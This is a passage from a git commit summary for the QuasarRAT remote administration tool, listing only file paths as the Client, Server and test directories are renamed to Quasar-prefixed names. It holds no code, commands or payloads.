Quasar.Server}/flags/qa.png | Bin {Server => Quasar.Server}/flags/re.png | Bin {Server => Quasar.Server}/flags/ro.png | Bin {Server => Quasar.Server}/flags/rs.png | Bin {Server => Quasar.Server}/flags/ru.png | Bin {Server => Quasar.Server}/flags/rw.png | Bin {Server => Quasar.Server}/flags/sa.png | Bin {Server => Quasar.Server}/flags/sb.png | Bin {Server => Quasar.Server}/flags/sc.png | Bin {Server => Quasar.Server}/flags/scotland.png | Bin {Server => Quasar.Server}/flags/sd.png | Bin {Server => Quasar.Server}/flags/se.png | Bin {Server => Quasar.Server}/flags/sg.png | Bin {Server => Quasar.Server}/flags/sh.png | Bin {Server => Quasar.Server}/flags/si.png | Bin {Server => Quasar.Server}/flags/sj.png | Bin {Server => Quasar.Server}/flags/sk.png | Bin {Server => Quasar.Server}/flags/sl.png | Bin {Server => Quasar.Server}/flags/sm.png | Bin {Server => Quasar.Server}/flags/sn.png | Bin {Server => Quasar.Server}/flags/so.png | Bin {Server => Quasar.Server}/flags/sr.png | Bin {Server => Quasar.Server}/flags/st.png | Bin {Server => Quasar.Server}/flags/sv.png | Bin {Server => Quasar.Server}/flags/sy.png | Bin {Server => Quasar.Server}/flags/sz.png | Bin {Server => Quasar.Server}/flags/tc.png | Bin {Server => Quasar.Server}/flags/td.png | Bin {Server => Quasar.Server}/flags/tf.png | Bin {Server => Quasar.Server}/flags/tg.png | Bin {Server => Quasar.Server}/flags/th.png | Bin {Server => Quasar.Server}/flags/tj.png | Bin {Server => Quasar.Server}/flags/tk.png | Bin {Server => Quasar.Server}/flags/tl.png | Bin {Server => Quasar.Server}/flags/tm.png | Bin {Server => Quasar.Server}/flags/tn.png | Bin {Server => Quasar.Server}/flags/to.png | Bin {Server => Quasar.Server}/flags/tr.png | Bin {Server => Quasar.Server}/flags/tt.png | Bin {Server => Quasar.Server}/flags/tv.png | Bin {Server => Quasar.Server}/flags/tw.png | Bin {Server => Quasar.Server}/flags/tz.png | Bin {Server => Quasar.Server}/flags/ua.png | Bin {Server => Quasar.Server}/flags/ug.png | Bin {Server => Quasar.Server}/flags/um.png | Bin {Server => Quasar.Server}/flags/us.png | Bin {Server => Quasar.Server}/flags/uy.png | Bin {Server => Quasar.Server}/flags/uz.png | Bin {Server => Quasar.Server}/flags/va.png | Bin {Server => Quasar.Server}/flags/vc.png | Bin {Server => Quasar.Server}/flags/ve.png | Bin {Server => Quasar.Server}/flags/vg.png | Bin {Server => Quasar.Server}/flags/vi.png | Bin {Server => Quasar.Server}/flags/vn.png | Bin {Server => Quasar.Server}/flags/vu.png | Bin {Server => Quasar.Server}/flags/wales.png | Bin {Server => Quasar.Server}/flags/wf.png | Bin {Server => Quasar.Server}/flags/ws.png | Bin {Server => Quasar.Server}/flags/xy.png | Bin {Server => Quasar.Server}/flags/ye.png | Bin {Server => Quasar.Server}/flags/yt.png | Bin {Server => Quasar.Server}/flags/za.png | Bin {Server => Quasar.Server}/flags/zm.png | Bin {Server => Quasar.Server}/flags/zw.png | Bin {Server => Quasar.Server}/icons/Quasar_Server.png | Bin {Server => Quasar.Server}/images/actions.png | Bin {Server => Quasar.Server}/images/application.png | Bin .../images/application_add.png | Bin .../images/application_delete.png | Bin {Server => Quasar.Server}/images/archive.png | Bin {Server => Quasar.Server}/images/back.png | Bin {Server => Quasar.Server}/images/bricks.png | Bin {Server => Quasar.Server}/images/broom.png | Bin {Server => Quasar.Server}/images/cancel.png | Bin {Server => Quasar.Server}/images/computer.png | Bin {Server => Quasar.Server}/images/copy.png | Bin {Server => Quasar.Server}/images/delete.png | Bin {Server => Quasar.Server}/images/done.png | Bin {Server => Quasar.Server}/images/download.png | Bin {Server => Quasar.Server}/images/drive_go.png | Bin {Server => Quasar.Server}/images/eye.png | Bin {Server => Quasar.Server}/images/file.png | Bin {Server => Quasar.Server}/images/folder.png | Bin {Server => Quasar.Server}/images/image.png | Bin {Server => Quasar.Server}/images/information.png | Bin {Server => Quasar.Server}/images/key_go.png | Bin {Server => Quasar.Server}/images/keyboard_add.png | Bin .../images/keyboard_delete.png | Bin {Server => Quasar.Server}/images/lightning.png | Bin {Server => Quasar.Server}/images/logger.png | Bin {Server => Quasar.Server}/images/monitor.png | Bin {Server => Quasar.Server}/images/mouse_add.png | Bin {Server => Quasar.Server}/images/mouse_delete.png | Bin {Server => Quasar.Server}/images/movie.png | Bin {Server => Quasar.Server}/images/music.png | Bin {Server => Quasar.Server}/images/pdf.png | Bin {Server => Quasar.Server}/images/refresh.png | Bin {Server => Quasar.Server}/images/reg_binary.png | Bin {Server => Quasar.Server}/images/reg_string.png | Bin {Server => Quasar.Server}/images/registry.png | Bin {Server => Quasar.Server}/images/restart.png | Bin {Server => Quasar.Server}/images/run.png | Bin {Server => Quasar.Server}/images/save.png | Bin {Server => Quasar.Server}/images/server.png | Bin {Server => Quasar.Server}/images/server_add.png | Bin .../images/server_disconnect.png | Bin {Server => Quasar.Server}/images/server_link.png | Bin .../images/server_reconnect.png | Bin .../images/server_uninstall.png | Bin {Server => Quasar.Server}/images/shutdown.png | Bin {Server => Quasar.Server}/images/standby.png | Bin .../images/startup_programs.png | Bin {Server => Quasar.Server}/images/task_manager.png | Bin {Server => Quasar.Server}/images/terminal.png | Bin {Server => Quasar.Server}/images/text.png | Bin .../images/textfield_rename.png | Bin {Server => Quasar.Server}/images/transmit_blue.png | Bin {Server => Quasar.Server}/images/uac_shield.png | Bin {Server => Quasar.Server}/images/upload.png | Bin {Server => Quasar.Server}/images/website.png | Bin {Server => Quasar.Server}/images/word.png | Bin {Server => Quasar.Server}/images/world_go.png | Bin {Server => Quasar.Server}/images/world_link.png | Bin {Server => Quasar.Server}/packages.config | 0 QuasarRAT.sln | 8 ++++---- 536 files changed, 20 insertions(+), 18 deletions(-) rename {Client.Tests => Quasar.Client.Tests}/Core/Compression/JpgCompression.Tests.cs (100%) rename {Client.Tests => Quasar.Client.Tests}/Core/Compression/SafeQuickLZ.Tests.cs (100%) rename {Client.Tests => Quasar.Client.Tests}/Core/Encryption/AES.Tests.cs (100%) rename {Client.Tests => Quasar.Client.Tests}/Core/Encryption/SHA256.Tests.cs (100%) rename {Client.Tests => Quasar.Client.Tests}/Core/Helper/FileHelper.Tests.cs (100%) rename {Client.Tests => Quasar.Client.Tests}/Properties/AssemblyInfo.cs (100%) rename Client.Tests/Client.Tests.csproj => Quasar.Client.Tests/Quasar.Client.Tests.csproj (96%) rename {Client => Quasar.Client}/Config/Settings.cs (100%) rename {Client => Quasar.Client}/Core/Commands/CommandHandler.cs (100%) rename {Client => Quasar.Client}/Core/Commands/ConnectionHandler.cs (100%) rename {Client => Quasar.Client}/Core/Commands/FileHandler.cs (100%) rename {Client => Quasar.Client}/Core/Commands/MiscHandler.cs (100%) rename {Client => Quasar.Client}/Core/Commands/RegistryHandler.cs (100%) rename {Client => Quasar.Client}/Core/Commands/SurveillanceHandler.cs (100%) rename {Client => Quasar.Client}/Core/Commands/SystemHandler.cs (100%) rename {Client => Quasar.Client}/Core/Commands/TcpConnectionsHandler.cs (100%) rename {Client => Quasar.Client}/Core/Compression/SafeQuickLZ.cs (100%) rename {Client => Quasar.Client}/Core/Cryptography/AES.cs (100%) rename {Client => Quasar.Client}/Core/Cryptography/SHA256.cs (100%) rename {Client => Quasar.Client}/Core/Data/ClientData.cs (100%) rename {Client => Quasar.Client}/Core/Data/GeoInformation.cs (100%) rename {Client => Quasar.Client}/Core/Data/Host.cs (100%) rename {Client => Quasar.Client}/Core/Extensions/RegistryKeyExtensions.cs (100%) rename {Client => Quasar.Client}/Core/Extensions/SocketExtensions.cs (100%) rename {Client => Quasar.Client}/Core/Helper/CryptographyHelper.cs (100%) rename {Client => Quasar.Client}/Core/Helper/DevicesHelper.cs (100%) rename {Client => Quasar.Client}/Core/Helper/FileHelper.cs (100%) rename {Client => Quasar.Client}/Core/Helper/FormatHelper.cs (100%) rename {Client => Quasar.Client}/Core/Helper/GeoLocationHelper.cs (100%) rename {Client => Quasar.Client}/Core/Helper/HostHelper.cs (100%) rename {Client => Quasar.Client}/Core/Helper/KeyloggerHelper.cs (100%) rename {Client => Quasar.Client}/Core/Helper/MutexHelper.cs (100%) rename {Client => Quasar.Client}/Core/Helper/NativeMethodsHelper.cs (100%) rename {Client => Quasar.Client}/Core/Helper/PlatformHelper.cs (100%) rename {Client => Quasar.Client}/Core/Helper/RegistryKeyHelper.cs (100%) rename {Client => Quasar.Client}/Core/Helper/ScreenHelper.cs (100%) rename {Client => Quasar.Client}/Core/Helper/SystemHelper.cs (100%) rename {Client => Quasar.Client}/Core/Helper/WindowsAccountHelper.cs (100%) rename {Client => Quasar.Client}/Core/Installation/ClientInstaller.cs (100%) rename {Client => Quasar.Client}/Core/Installation/ClientUninstaller.cs (100%) rename {Client => Quasar.Client}/Core/Installation/ClientUpdater.cs (100%) rename {Client => Quasar.Client}/Core/Installation/Startup.cs (100%) rename {Client => Quasar.Client}/Core/Networking/Client.cs (100%) rename {Client => Quasar.Client}/Core/Networking/PacketHandler.cs (100%) rename {Client => Quasar.Client}/Core/Networking/QuasarClient.cs (100%) rename {Client => Quasar.Client}/Core/Recovery/Browsers/Chrome.cs (100%) rename {Client => Quasar.Client}/Core/Recovery/Browsers/Firefox.cs (100%) rename {Client => Quasar.Client}/Core/Recovery/Browsers/InternetExplorer.cs (100%) rename {Client => Quasar.Client}/Core/Recovery/Browsers/Opera.cs (100%) rename {Client => Quasar.Client}/Core/Recovery/Browsers/Yandex.cs (100%) rename {Client => Quasar.Client}/Core/Recovery/FtpClients/FileZilla.cs (100%) rename {Client => Quasar.Client}/Core/Recovery/FtpClients/WinSCP.cs (100%) rename {Client => Quasar.Client}/Core/Recovery/Utilities/Chromium.cs (100%) rename {Client => Quasar.Client}/Core/Recovery/Utilities/JsonUtil.cs (100%) rename {Client => Quasar.Client}/Core/Recovery/Utilities/SQLiteHandler.cs (100%) rename {Client => Quasar.Client}/Core/Registry/RegistryEditor.cs (100%) rename {Client => Quasar.Client}/Core/Registry/RegistrySeeker.cs (100%) rename {Client => Quasar.Client}/Core/ReverseProxy/ReverseProxyClient.cs (100%) rename {Client => Quasar.Client}/Core/ReverseProxy/ReverseProxyCommandHandler.cs (100%) rename {Client => Quasar.Client}/Core/Utilities/HostsManager.cs (100%) rename {Client => Quasar.Client}/Core/Utilities/Keylogger.cs (100%) rename {Client => Quasar.Client}/Core/Utilities/NativeMethods.cs (100%) rename {Client => Quasar.Client}/Core/Utilities/Shell.cs (100%) rename {Client => Quasar.Client}/Program.cs (100%) rename {Client => Quasar.Client}/Properties/AssemblyInfo.cs (100%) rename {Client => Quasar.Client}/Properties/Resources.Designer.cs (100%) rename {Client => Quasar.Client}/Properties/Resources.resx (100%) rename {Client => Quasar.Client}/Properties/Settings.Designer.cs (100%) rename {Client => Quasar.Client}/Properties/Settings.settings (100%) rename Client/Client.csproj => Quasar.Client/Quasar.Client.csproj (98%) rename {Client => Quasar.Client}/app.manifest (100%) rename {Client => Quasar.Client}/images/information.png (100%) rename {Client => Quasar.Client}/packages.config (100%) rename {Server.Tests => Quasar.Server.Tests}/Core/Compression/SafeQuickLZ.Tests.cs (100%) rename {Server.Tests => Quasar.Server.Tests}/Core/Encryption/AES.Tests.cs (100%) rename {Server.Tests => Quasar.Server.Tests}/Properties/AssemblyInfo.cs (100%) rename Server.Tests/Server.Tests.csproj => Quasar.Server.Tests/Quasar.Server.Tests.csproj (96%) rename {Server => Quasar.Server}/Controls/DotNetBarTabControl.cs (100%) rename {Server => Quasar.Server}/Controls/HexEditor/ByteCollection.cs (100%) rename {Server => Quasar.Server}/Controls/HexEditor/Caret.cs (100%) rename {Server => Quasar.Server}/Controls/HexEditor/EditView.cs (100%) rename {Server => Quasar.Server}/Controls/HexEditor/HexEditor.cs (100%) rename {Server => Quasar.Server}/Controls/HexEditor/HexViewHandler.cs (100%) rename {Server => Quasar.Server}/Controls/HexEditor/IKeyMouseEventHandler.cs (100%) rename {Server => Quasar.Server}/Controls/HexEditor/StringViewHandler.cs (100%) rename {Server => Quasar.Server}/Controls/InputBox.cs (100%) rename {Server => Quasar.Server}/Controls/Line.cs (100%) rename {Server => Quasar.Server}/Controls/ListViewEx.cs (100%) rename {Server => Quasar.Server}/Controls/RapidPictureBox.cs (100%) rename {Server => Quasar.Server}/Controls/RegistryTreeView.cs (100%) rename {Server => Quasar.Server}/Controls/RegistryValueLstItem.cs (100%) rename {Server => Quasar.Server}/Controls/WordTextBox.Designer.cs (100%) rename {Server => Quasar.Server}/Controls/WordTextBox.cs (100%) rename {Server => Quasar.Server}/Core/Build/ClientBuilder.cs (100%) rename {Server => Quasar.Server}/Core/Build/IconInjector.cs (100%) rename {Server => Quasar.Server}/Core/Build/Renamer.cs (100%) rename {Server => Quasar.Server}/Core/Commands/ClientStatusHandler.cs (100%) rename {Server => Quasar.Server}/Core/Commands/FileManagerHandler.cs (100%) rename {Server => Quasar.Server}/Core/Commands/KeyloggerHandler.cs (100%) rename {Server => Quasar.Server}/Core/Commands/PasswordRecoveryHandler.cs (100%) rename {Server => Quasar.Server}/Core/Commands/RegistryHandler.cs (100%) rename {Server => Quasar.Server}/Core/Commands/RemoteDesktopHandler.cs (100%) rename {Server => Quasar.Server}/Core/Commands/RemoteShellHandler.cs (100%) rename {Server => Quasar.Server}/Core/Commands/ReverseProxyHandler.cs (100%) rename {Server => Quasar.Server}/Core/Commands/StartupManagerHandler.cs (100%) rename {Server => Quasar.Server}/Core/Commands/SystemInformationHandler.cs (100%) rename {Server => Quasar.Server}/Core/Commands/TaskManagerHandler.cs (100%) rename {Server => Quasar.Server}/Core/Commands/TcpConnectionsHandler.cs (100%) rename {Server => Quasar.Server}/Core/Compression/SafeQuickLZ.cs (100%) rename {Server => Quasar.Server}/Core/Cryptography/AES.cs (100%) rename {Server => Quasar.Server}/Core/Data/BuildOptions.cs (100%) rename {Server => Quasar.Server}/Core/Data/BuilderProfile.cs (100%) rename {Server => Quasar.Server}/Core/Data/Host.cs (100%) rename {Server => Quasar.Server}/Core/Data/Settings.cs (100%) rename {Server => Quasar.Server}/Core/Extensions/ListViewExtensions.cs (100%) rename {Server => Quasar.Server}/Core/Extensions/RegistryKeyExtensions.cs (100%) rename {Server => Quasar.Server}/Core/Extensions/SocketExtensions.cs (100%) rename {Server => Quasar.Server}/Core/Helper/ClipboardHelper.cs (100%) rename {Server => Quasar.Server}/Core/Helper/CryptographyHelper.cs (100%) rename {Server => Quasar.Server}/Core/Helper/FileHelper.cs (100%) rename {Server => Quasar.Server}/Core/Helper/FormatHelper.cs (100%) rename {Server => Quasar.Server}/Core/Helper/HostHelper.cs (100%) rename {Server => Quasar.Server}/Core/Helper/NativeMethodsHelper.cs (100%) rename {Server => Quasar.Server}/Core/Helper/PlatformHelper.cs (100%) rename {Server => Quasar.Server}/Core/Helper/RemoteDesktopHelper.cs (100%) rename {Server => Quasar.Server}/Core/Helper/WindowHelper.cs (100%) rename {Server => Quasar.Server}/Core/Networking/Client.cs (100%) rename {Server => Quasar.Server}/Core/Networking/QuasarServer.cs (100%) rename {Server => Quasar.Server}/Core/Networking/Server.cs (100%) rename {Server => Quasar.Server}/Core/Networking/UserState.cs (100%) rename {Server => Quasar.Server}/Core/Networking/Utilities/PooledBufferManager.cs (100%) rename {Server => Quasar.Server}/Core/Networking/Utilities/UPnP.cs (100%) rename {Server => Quasar.Server}/Core/Registry/RegValueHelper.cs (100%) rename {Server => Quasar.Server}/Core/ReverseProxy/ReverseProxyClient.cs (100%) rename {Server => Quasar.Server}/Core/ReverseProxy/ReverseProxyServer.cs (100%) rename {Server => Quasar.Server}/Core/Utilities/FrameCounter.cs (100%) rename {Server => Quasar.Server}/Core/Utilities/ListViewColumnSorter.cs (100%) rename {Server => Quasar.Server}/Core/Utilities/NativeMethods.cs (100%) rename {Server => Quasar.Server}/Core/Utilities/NoIpUpdater.cs (100%) rename {Server => Quasar.Server}/Enums/TransferType.cs (100%) rename {Server => Quasar.Server}/Enums/WordType.cs (100%) rename {Server => Quasar.Server}/Forms/FrmAbout.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmAbout.cs (100%) rename {Server => Quasar.Server}/Forms/FrmAbout.resx (100%) rename {Server => Quasar.Server}/Forms/FrmBuilder.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmBuilder.cs (100%) rename {Server => Quasar.Server}/Forms/FrmBuilder.resx (100%) rename {Server => Quasar.Server}/Forms/FrmConnections.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmConnections.cs (100%) rename {Server => Quasar.Server}/Forms/FrmConnections.resx (100%) rename {Server => Quasar.Server}/Forms/FrmDownloadAndExecute.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmDownloadAndExecute.cs (100%) rename {Server => Quasar.Server}/Forms/FrmDownloadAndExecute.resx (100%) rename {Server => Quasar.Server}/Forms/FrmFileManager.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmFileManager.cs (100%) rename {Server => Quasar.Server}/Forms/FrmFileManager.resx (100%) rename {Server => Quasar.Server}/Forms/FrmKeylogger.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmKeylogger.cs (100%) rename {Server => Quasar.Server}/Forms/FrmKeylogger.resx (100%) rename {Server => Quasar.Server}/Forms/FrmMain.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmMain.cs (100%) rename {Server => Quasar.Server}/Forms/FrmMain.resx (100%) rename {Server => Quasar.Server}/Forms/FrmPasswordRecovery.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmPasswordRecovery.cs (100%) rename {Server => Quasar.Server}/Forms/FrmPasswordRecovery.resx (100%) rename {Server => Quasar.Server}/Forms/FrmRegValueEditBinary.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmRegValueEditBinary.cs (100%) rename {Server => Quasar.Server}/Forms/FrmRegValueEditBinary.resx (100%) rename {Server => Quasar.Server}/Forms/FrmRegValueEditMultiString.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmRegValueEditMultiString.cs (100%) rename {Server => Quasar.Server}/Forms/FrmRegValueEditMultiString.resx (100%) rename {Server => Quasar.Server}/Forms/FrmRegValueEditString.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmRegValueEditString.cs (100%) rename {Server => Quasar.Server}/Forms/FrmRegValueEditString.resx (100%) rename {Server => Quasar.Server}/Forms/FrmRegValueEditWord.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmRegValueEditWord.cs (100%) rename {Server => Quasar.Server}/Forms/FrmRegValueEditWord.resx (100%) rename {Server => Quasar.Server}/Forms/FrmRegistryEditor.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmRegistryEditor.cs (100%) rename {Server => Quasar.Server}/Forms/FrmRegistryEditor.resx (100%) rename {Server => Quasar.Server}/Forms/FrmRemoteDesktop.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmRemoteDesktop.cs (100%) rename {Server => Quasar.Server}/Forms/FrmRemoteDesktop.resx (100%) rename {Server => Quasar.Server}/Forms/FrmRemoteShell.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmRemoteShell.cs (100%) rename {Server => Quasar.Server}/Forms/FrmRemoteShell.resx (100%) rename {Server => Quasar.Server}/Forms/FrmReverseProxy.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmReverseProxy.cs (100%) rename {Server => Quasar.Server}/Forms/FrmReverseProxy.resx (100%) rename {Server => Quasar.Server}/Forms/FrmSettings.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmSettings.cs (100%) rename {Server => Quasar.Server}/Forms/FrmSettings.resx (100%) rename {Server => Quasar.Server}/Forms/FrmShowMessagebox.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmShowMessagebox.cs (100%) rename {Server => Quasar.Server}/Forms/FrmShowMessagebox.resx (100%) rename {Server => Quasar.Server}/Forms/FrmStartupAdd.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmStartupAdd.cs (100%) rename {Server => Quasar.Server}/Forms/FrmStartupAdd.resx (100%) rename {Server => Quasar.Server}/Forms/FrmStartupManager.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmStartupManager.cs (100%) rename {Server => Quasar.Server}/Forms/FrmStartupManager.resx (100%) rename {Server => Quasar.Server}/Forms/FrmSystemInformation.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmSystemInformation.cs (100%) rename {Server => Quasar.Server}/Forms/FrmSystemInformation.resx (100%) rename {Server => Quasar.Server}/Forms/FrmTaskManager.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmTaskManager.cs (100%) rename {Server => Quasar.Server}/Forms/FrmTaskManager.resx (100%) rename {Server => Quasar.Server}/Forms/FrmUpdate.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmUpdate.cs (100%) rename {Server => Quasar.Server}/Forms/FrmUpdate.resx (100%) rename {Server => Quasar.Server}/Forms/FrmUploadAndExecute.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmUploadAndExecute.cs (100%) rename {Server => Quasar.Server}/Forms/FrmUploadAndExecute.resx (100%) rename {Server => Quasar.Server}/Forms/FrmVisitWebsite.Designer.cs (100%) rename {Server => Quasar.Server}/Forms/FrmVisitWebsite.cs (100%) rename {Server => Quasar.Server}/Forms/FrmVisitWebsite.resx (100%) rename {Server => Quasar.Server}/Models/FileTransfer.cs (100%) rename {Server => Quasar.Server}/Program.cs (100%) rename {Server => Quasar.Server}/Properties/AssemblyInfo.cs (100%) rename {Server => Quasar.Server}/Properties/Resources.Designer.cs (100%) rename {Server => Quasar.Server}/Properties/Resources.resx (100%) rename {Server => Quasar.Server}/Properties/Settings.Designer.cs (100%) rename {Server => Quasar.Server}/Properties/Settings.settings (100%) rename Server/Server.csproj => Quasar.Server/Quasar.Server.csproj (99%) rename {Server => Quasar.Server}/Quasar_Server.ico (100%) rename {Server => Quasar.Server}/app.manifest (100%) rename {Server => Quasar.Server}/flags/ad.png (100%) rename {Server => Quasar.Server}/flags/ae.png (100%) rename {Server => Quasar.Server}/flags/af.png (100%) rename {Server => Quasar.Server}/flags/ag.png (100%) rename {Server => Quasar.Server}/flags/ai.png (100%) rename {Server => Quasar.Server}/flags/al.png (100%) rename {Server => Quasar.Server}/flags/am.png (100%) rename {Server => Quasar.Server}/flags/an.png (100%) rename {Server => Quasar.Server}/flags/ao.png (100%) rename {Server => Quasar.Server}/flags/ar.png (100%) rename {Server => Quasar.Server}/flags/as.png (100%) rename {Server => Quasar.Server}/flags/at.png (100%) rename {Server => Quasar.Server}/flags/au.png (100%) rename {Server => Quasar.Server}/flags/aw.png (100%) rename {Server => Quasar.Server}/flags/ax.png (100%) rename {Server => Quasar.Server}/flags/az.png (100%) rename {Server => Quasar.Server}/flags/ba.png (100%) rename {Server => Quasar.Server}/flags/bb.png (100%) rename {Server => Quasar.Server}/flags/bd.png (100%) rename {Server => Quasar.Server}/flags/be.png (100%) rename {Server => Quasar.Server}/flags/bf.png (100%) rename {Server => Quasar.Server}/flags/bg.png (100%) rename {Server => Quasar.Server}/flags/bh.png (100%) rename {Server => Quasar.Server}/flags/bi.png (100%) rename {Server => Quasar.Server}/flags/bj.png (100%) rename {Server => Quasar.Server}/flags/bm.png (100%) rename {Server => Quasar.Server}/flags/bn.png (100%) rename {Server => Quasar.Server}/flags/bo.png (100%) rename {Server => Quasar.Server}/flags/br.png (100%) rename {Server => Quasar.Server}/flags/bs.png (100%) rename {Server => Quasar.Server}/flags/bt.png (100%) rename {Server => Quasar.Server}/flags/bv.png (100%) rename {Server => Quasar.Server}/flags/bw.png (100%) rename {Server => Quasar.Server}/flags/by.png (100%) rename {Server => Quasar.Server}/flags/bz.png (100%) rename {Server => Quasar.Server}/flags/ca.png (100%) rename {Server => Quasar.Server}/flags/catalonia.png (100%) rename {Server => Quasar.Server}/flags/cc.png (100%) rename {Server => Quasar.Server}/flags/cd.png (100%) rename {Server => Quasar.Server}/flags/cf.png (100%) rename {Server => Quasar.Server}/flags/cg.png (100%) rename {Server => Quasar.Server}/flags/ch.png (100%) rename {Server => Quasar.Server}/flags/ci.png (100%) rename {Server => Quasar.Server}/flags/ck.png (100%) rename {Server => Quasar.Server}/flags/cl.png (100%) rename {Server => Quasar.Server}/flags/cm.png (100%) rename {Server => Quasar.Server}/flags/cn.png (100%) rename {Server => Quasar.Server}/flags/co.png (100%) rename {Server => Quasar.Server}/flags/cr.png (100%) rename {Server => Quasar.Server}/flags/cs.png (100%) rename {Server => Quasar.Server}/flags/cu.png (100%) rename {Server => Quasar.Server}/flags/cv.png (100%) rename {Server => Quasar.Server}/flags/cx.png (100%) rename {Server => Quasar.Server}/flags/cy.png (100%) rename {Server => Quasar.Server}/flags/cz.png (100%) rename {Server => Quasar.Server}/flags/de.png (100%) rename {Server => Quasar.Server}/flags/dj.png (100%) rename {Server => Quasar.Server}/flags/dk.png (100%) rename {Server => Quasar.Server}/flags/dm.png (100%) rename {Server => Quasar.Server}/flags/do.png (100%) rename {Server => Quasar.Server}/flags/dz.png (100%) rename {Server => Quasar.Server}/flags/ec.png (100%) rename {Server => Quasar.Server}/flags/ee.png (100%) rename {Server => Quasar.Server}/flags/eg.png (100%) rename {Server => Quasar.Server}/flags/eh.png (100%) rename {Server => Quasar.Server}/flags/england.png (100%) rename {Server => Quasar.Server}/flags/er.png (100%) rename {Server => Quasar.Server}/flags/es.png (100%) rename {Server => Quasar.Server}/flags/et.png (100%) rename {Server => Quasar.Server}/flags/europeanunion.png (100%) rename {Server => Quasar.Server}/flags/fam.png (100%) rename {Server => Quasar.Server}/flags/fi.png (100%) rename {Server => Quasar.Server}/flags/fj.png (100%) rename {Server => Quasar.Server}/flags/fk.png (100%) rename {Server => Quasar.Server}/flags/fm.png (100%) rename {Server => Quasar.Server}/flags/fo.png (100%) rename {Server => Quasar.Server}/flags/fr.png (100%) rename {Server => Quasar.Server}/flags/ga.png (100%) rename {Server => Quasar.Server}/flags/gb.png (100%) rename {Server => Quasar.Server}/flags/gd.png (100%) rename {Server => Quasar.Server}/flags/ge.png (100%) rename {Server => Quasar.Server}/flags/gf.png (100%) rename {Server => Quasar.Server}/flags/gh.png (100%) rename {Server => Quasar.Server}/flags/gi.png (100%) rename {Server => Quasar.Server}/flags/gl.png (100%) rename {Server => Quasar.Server}/flags/gm.png (100%) rename {Server => Quasar.Server}/flags/gn.png (100%) rename {Server => Quasar.Server}/flags/gp.png (100%) rename {Server => Quasar.Server}/flags/gq.png (100%) rename {Server => Quasar.Server}/flags/gr.png (100%) rename {Server => Quasar.Server}/flags/gs.png (100%) rename {Server => Quasar.Server}/flags/gt.png (100%) rename {Server => Quasar.Server}/flags/gu.png (100%) rename {Server => Quasar.Server}/flags/gw.png (100%) rename {Server => Quasar.Server}/flags/gy.png (100%) rename {Server => Quasar.Server}/flags/hk.png (100%) rename {Server => Quasar.Server}/flags/hm.png (100%) rename {Server => Quasar.Server}/flags/hn.png (100%) rename {Server => Quasar.Server}/flags/hr.png (100%) rename {Server => Quasar.Server}/flags/ht.png (100%) rename {Server => Quasar.Server}/flags/hu.png (100%) rename {Server => Quasar.Server}/flags/id.png (100%) rename {Server => Quasar.Server}/flags/ie.png (100%) rename {Server => Quasar.Server}/flags/il.png (100%) rename {Server => Quasar.Server}/flags/in.png (100%) rename {Server => Quasar.Server}/flags/io.png (100%) rename {Server => Quasar.Server}/flags/iq.png (100%) rename {Server => Quasar.Server}/flags/ir.png (100%) rename {Server => Quasar.Server}/flags/is.png (100%) rename {Server => Quasar.Server}/flags/it.png (100%) rename {Server => Quasar.Server}/flags/jm.png (100%) rename {Server => Quasar.Server}/flags/jo.png (100%) rename {Server => Quasar.Server}/flags/jp.png (100%) rename {Server => Quasar.Server}/flags/ke.png (100%) rename {Server => Quasar.Server}/flags/kg.png (100%) rename {Server => Quasar.Server}/flags/kh.png (100%) rename {Server => Quasar.Server}/flags/ki.png (100%) rename {Server => Quasar.Server}/flags/km.png (100%) rename {Server => Quasar.Server}/flags/kn.png (100%) rename {Server => Quasar.Server}/flags/kp.png (100%) rename {Server => Quasar.Server}/flags/kr.png (100%) rename {Server => Quasar.Server}/flags/kw.png (100%) rename {Server => Quasar.Server}/flags/ky.png (100%) rename {Server => Quasar.Server}/flags/kz.png (100%) rename {Server => Quasar.Server}/flags/la.png (100%) rename {Server => Quasar.Server}/flags/lb.png (100%) rename {Server => Quasar.Server}/flags/lc.png (100%) rename {Server => Quasar.Server}/flags/li.png (100%) rename {Server => Quasar.Server}/flags/lk.png (100%) rename {Server => Quasar.Server}/flags/lr.png (100%) rename {Server => Quasar.Server}/flags/ls.png (100%) rename {Server => Quasar.Server}/flags/lt.png (100%) rename {Server => Quasar.Server}/flags/lu.png (100%) rename {Server => Quasar.Server}/flags/lv.png (100%) rename {Server => Quasar.Server}/flags/ly.png (100%) rename {Server => Quasar.Server}/flags/ma.png (100%) rename {Server => Quasar.Server}/flags/mc.png (100%) rename {Server => Quasar.Server}/flags/md.png (100%) rename {Server => Quasar.Server}/flags/me.png (100%) rename {Server => Quasar.Server}/flags/mg.png (100%) rename {Server => Quasar.Server}/flags/mh.png (100%) rename {Server => Quasar.Server}/flags/mk.png (100%) rename {Server => Quasar.Server}/flags/ml.png (100%) rename {Server => Quasar.Server}/flags/mm.png (100%) rename {Server => Quasar.Server}/flags/mn.png (100%) rename {Server => Quasar.Server}/flags/mo.png (100%) rename {Server => Quasar.Server}/flags/mp.png (100%) rename {Server => Quasar.Server}/flags/mq.png (100%) rename {Server => Quasar.Server}/flags/mr.png (100%) rename {Server => Quasar.Server}/flags/ms.png (100%) rename {Server => 